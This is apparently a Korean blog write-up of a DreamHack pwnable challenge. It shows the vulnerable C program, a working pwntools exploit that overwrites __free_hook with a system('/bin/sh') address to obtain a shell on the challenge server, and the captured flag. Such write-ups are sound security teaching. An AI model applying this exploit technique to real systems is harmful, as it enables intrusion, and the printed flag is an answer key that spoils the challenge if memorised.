문제코드
// gcc -o init_fini_array init_fini_array.c -Wl,-z,norelro
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int main(int argc, char *argv[]) {
long *ptr;
size_t size;
initialize();
printf("stdout: %p\n", stdout);
printf("Size: ");
scanf("%ld", &size);
ptr = malloc(size);
printf("Data: ");
read(0, ptr, size);
*(long *)*ptr = *(ptr+1);
free(ptr);
free(ptr);
system("/bin/sh");
return 0;
tdout 포인터로 주소를 알려주고 문자열을 얼마나 받을지 size를 입력받은 뒤 ptr에 size만큼 malloc으로 할당해준다.
할당받은 ptr에 값을 입력받고, ptr[0]에 있는 값(주소 값)을 참조한 것에 ptr[1] 값을 넣어준다.
그리고, free를 두 번 해서 종료된다.
보호 기법 Full RELRO와 Canary found로 인해서 got_overwrite는 불가능한 상황이다.
PIE는 적용되지 않았다.
free가 두 번 사용되니까 __free_hook 변수에 main에 있는 system("/bin/sh")주소를 넣어주면 될듯싶다.
먼저, malloc을 통해 동적 메모리 공간을 할당받으면, 그 주소값이 ptr에 저장된다. 이후 read 함수를 통해 ptr이 가리키는 메모리 공간에 접근할 수 있다. 이때, ptr에 __free_hook의 주소를 넣고, ptr + 1이 가리키는 값은 system("/bin/sh")로 설정한다. 이렇게 하면 나중에 free 함수가 호출될 때, __free_hook에 저장된 값이 실행된다. 이 경우 __free_hook은 system("/bin/sh")를 가리키고 있기 때문에, free 함수가 호출되면 쉘을 획득할 수 있다. 따라서 *ptr에 __free_hook + system("/bin/sh")의 주소를 넣으면 되며, PIE가 적용되지 않은 환경이니까 main 함수의 system("/bin/sh") 주소를 사용할 수 있다.
레지스터 edi에 /bin/sh이 저장된 0x400a11가 system("/bin/sh")의 주소이다.
-> __free_hook의 값을 덮는 Hook Overwrite 문제였다.
exploit
from pwn import*
p = remote("host3.dreamhack.games", 14481)
context.log_level = "debug"
e = ELF("./hook")
libc = ELF("./libc-2.23.so")
#one_gadget = [0xf1147, 0x45216, 0x4526a, 0xf02a4]
main_system = 0x0400A11
p.recvuntil("stdout: ")
stdout = int(p.recv(14), 16)
libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
free_hook = libc_base + libc.symbols['__free_hook']
#magic = libc_base + one_gadget[2]
payload = p64(free_hook) + p64(main_system)
p.sendlineafter("Size: ", "400")
p.sendlineafter("Data: ", payload)
p.interactive()
Flag is
DH{c5e5c5c0a45d71d2666571ab2dc09cf4c4e750402ab4bb4c8a57091063ee7418}
'Pwnable' 카테고리의 다른 글
[DreamHack] Return Address Overwrite Write-Up (0) | 2024.09.19 |
---|---|
[DreamHack] shell_basic Write-Up (0) | 2024.09.19 |
[DreamHack] oneshot Write-Up (0) | 2024.09.18 |
[DreamHack] fho 문서화 | docker로 ubuntu 18.04에서 pwnable환경 세팅 : pwndbg.ver | 도커 파일 옮기기 (0) | 2024.09.18 |
[DreamHack] basic_rop_x64 Write-Up (0) | 2024.09.18 |